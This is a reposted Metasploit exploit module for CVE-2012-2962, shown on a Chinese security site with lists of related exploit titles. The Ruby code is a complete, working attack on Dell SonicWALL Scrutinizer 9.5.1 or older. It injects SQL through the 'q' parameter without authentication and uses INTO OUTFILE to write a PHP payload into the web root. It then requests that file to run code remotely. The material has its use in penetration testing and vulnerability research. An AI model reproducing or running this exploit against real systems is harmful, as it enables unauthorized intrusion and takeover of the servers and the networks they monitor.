首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Dell SonicWALL Scrutinizer 9 SQL Injection
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-08-06  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Dell SonicWALL Scrutinizer 9 SQL Injection",
   'Description'    => %q{
     This module exploits a vulnerability found in Dell SonicWall Scrutinizer.
    While handling the 'q' parameter, the PHP application does not properly filter
    the user-supplied data, which can be manipulated to inject SQL commands, and
    then gain remote code execution.  Please note that authentication is NOT needed
    to exploit this vulnerability.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'muts',
     'dookie',
     'sinn3r'
    ],
   'References'     =>
    [
     ['CVE', '2012-2962'],
     ['OSVDB', '84232'],
     ['EDB', '20033'],
     ['BID', '54625'],
     ['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     # According to advisory, version 9.5.1 and before are vulnerable.
     # But was only able to test this on 9.0.1.0
     ['Dell SonicWall Scrutinizer 9.5.1 or older', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 22 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']),
     OptString.new('HTMLDIR',   [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\'])
    ], self.class)
 end


 def check
  res = send_request_raw({'uri'=>target_uri.host})
  if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
             res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end


 def exploit
  peer = "#{rhost}:#{rport}"
  p = "<?php #{payload.encoded} ?>"
  hex_payload = p.unpack("H*")[0]
  php_fname   = Rex::Text.rand_text_alpha(5) + ".php"
  rnd_txt     = Rex::Text.rand_text_alpha_upper(3)

  print_status("#{peer} - Sending SQL injection...")
  res = send_request_cgi({
   'uri'       => target_uri.path,
   'method'    => 'POST',
   'vars_post' => {
    'commonJson' => 'protList',
    'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#"
   }
  })

  if res and res.body !~ /No Results Found/
   print_error("#{peer} - I don't think the SQL Injection attempt worked")
   return
  elsif not res
   print_error("#{peer} - No response from the server")
   return
  end

  # For debugging purposes, this is useful
  vprint_status(res.to_s)

  target_path = "#{File.dirname(target_uri.path)}/#{php_fname}"
  print_status("#{peer} - Requesting: #{target_path}")
  send_request_raw({'uri' => target_path})

  handler
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Nvidia Linux Driver Privilege
·Zenoss 3 showDaemonXMLConfig C
·httpdx 1.5.5 Denial of Service
·FreeBSD Kernel SCTP Remote NUL
·Psexec Via Current User Token
·CoolPlayer Portable 2.19.2 Buf
·Microsoft Internet Explorer Fi
·VLC 2.0.2 Division By Zero
·WebPageTest Arbitrary PHP File
·Cisco Linksys PlayerPT ActiveX
·pBot Remote Code Execution
·SC DHCP 4.1.2 Denial Of Servic
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved